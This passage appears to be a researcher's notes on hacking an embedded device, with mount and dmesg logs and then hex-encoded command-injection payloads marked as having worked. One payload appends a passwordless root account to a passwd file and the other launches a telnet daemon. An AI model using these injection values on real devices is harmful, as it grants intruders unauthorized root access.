/mnt +mount: mounting /dev/mtdblock4 on /mnt failed: Invalid argument +# dmesg|tail +rtk_btcoex: update_profile_connection: btrtl_coex.profile_refcount[6] = 0 +rtk_btcoex: update_profile_connection: btrtl_coex.profile_refcount[7] = 0 +rtk_btcoex: rtk_notify_profileinfo_to_fw: BufferSize 2 +rtk_btcoex: rtk_notify_profileinfo_to_fw: NumberOfHandles 0 +rtk_btcoex: rtk_notify_profileinfo_to_fw: profile_status 0x00 +rtk_btcoex: rtk_vendor_cmd_to_fw: opcode 0xfc19 +rtk_btusb: hci0 evt 2 +rtk_btusb: btusb_notify : hci0 evt 2 +jffs2: Too few erase blocks (2) +jffs2: Too few erase blocks (2) + +``` + + + + +THIS WORKED: + +bjorn@miraculix:/tmp/update2$ perl -e 'print unpack("(H2 )*", shift),"\n"' 'P=123947;N=123947&&(echo "gg::0:0::/:/bin/sh">>/tmp/passwd)&' +503d3132333934373b4e3d3132333934372626286563686f202267673a3a303a303a3a2f3a2f62696e2f7368223e3e2f746d702f7061737377642926 + + +bjorn@miraculix:/tmp/update2$ perl -e 'print unpack("(H2 )*", shift),"\n"' 'P=123947;N=123947&&(telnetd -p 1099)&' +503d3132333934373b4e3d31323339343726262874656c6e657464202d7020313039392926 |